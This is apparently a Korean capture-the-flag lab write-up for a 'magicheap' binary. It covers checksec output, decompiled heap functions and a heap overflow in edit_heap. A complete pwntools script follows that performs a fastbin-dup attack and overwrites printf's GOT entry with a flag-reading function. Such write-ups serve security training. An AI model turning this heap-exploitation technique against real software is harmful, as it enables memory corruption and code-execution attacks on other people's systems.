문제


magicheap 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

file 명령어의 결과는 다음과 같다.

magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ff750591e88f96896be63694b6ea85d337fce3a, not stripped

바이너리 코드

create_heap()

unsigned __int64 create_heap()
{
  ...

  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      ...
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  ...
}

edit_heap()

unsigned __int64 edit_heap()
{
  ...
  printf("Index :");
  read(0, &buf, 4uLL);
  v2 = atoi(&buf);
  ...
  if ( heaparray[v2] )
  {
    printf("Size of Heap : ", &buf);
    read(0, &buf, 8uLL);
    v0 = atoi(&buf);
    printf("Content of heap : ", &buf);
    read_input(heaparray[v2], v0);
    puts("Done !");
  }
  ...
}

delete_heap()

unsigned __int64 delete_heap()
{
  ...
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  ...
  if ( heaparray[v1] )
  {
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  ...
}

edit_heap() 함수에서 overflow 취약점이 존재한다. 이를 통해서 다음 chunk의 header, fd, bk 등을 overwrite할 수 있다.
이를 통해서 lab12 문제를 풀 때 사용했던 fastbin_dup 공격이 가능하다.

exploit 방법

  1. 0x40 짜리 chunk를 3개 생성한다.
  2. 세 번째 chunk와 두 번쨰 chunk를 free한다.
  3. edit_heap() 함수를 이용해서 두 번째 chunk의 fd를 (stack_chk_got -6)로 덮어쓴다.
  4. 0x30 짜리 chunk를 2개 생성하면 두 번째 chunk의 주소가 (stack_chk_got + 10 )이 된다.
  5. printf의 got를 flag를 읽는 l33t() 함수의 주소로 덮어쓴다.

문제 해설에서는 unsorted bin attack을 이용했다. 이 공격에 대해서 대략적인 이해만 했다. 다음에 fake arena 생성 방법에 대해서 공부해보자.

풀이


#!/usr/bin/python

from pwn import *

def create_heap(size,content):
	p.recvuntil("choice :")
	p.send("1"+"\x00")
	p.recvuntil("Heap : ")
	p.send(str(size))
	p.recvuntil("heap:")
	p.send(content)
	p.recvuntil("SuccessFul\n")

def edit_heap(index,size,content):
	p.recvuntil("choice :")
        p.send("2"+"\x00")
	p.recvuntil("Index :")
	p.send(index)
	p.recvuntil("Heap : ")
	p.send(str(size))
	p.recvuntil("heap : ")
	p.send(content)
	p.recvuntil("!\n")

def delete_heap(index):
	p.recvuntil("choice :")
	p.send("3"+"\x00")
	p.recvuntil("Index :")
	p.send(index)
	p.recvuntil("!\n")

file_path="/home/sungyun/round4/lab14/magicheap"

p=process(file_path)

stack_chk_got=0x602030
cat_flag=0x400c23


create_heap(0x30,"ha_weeeee^___^")
create_heap(0x30,"ba_weeeee^___^")
create_heap(0x30,"weeeee^___^")

delete_heap("2")
delete_heap("1")

pay="A"*0x30
pay+="\x00"*8
pay+="\x41"+"\x00"*7
pay+=p64(stack_chk_got-6)

edit_heap("0",len(pay),pay)

create_heap(0x30,"g00000000d")
create_heap(0x30,"sosim")

pay2="\x40"+"\x00"*5 #system
pay2+=p64(cat_flag)

edit_heap("2",len(pay2),pay2)

p.recvuntil("-\n")
p.recvuntil("-\n")
p.recvuntil("-\n")

print p.recv()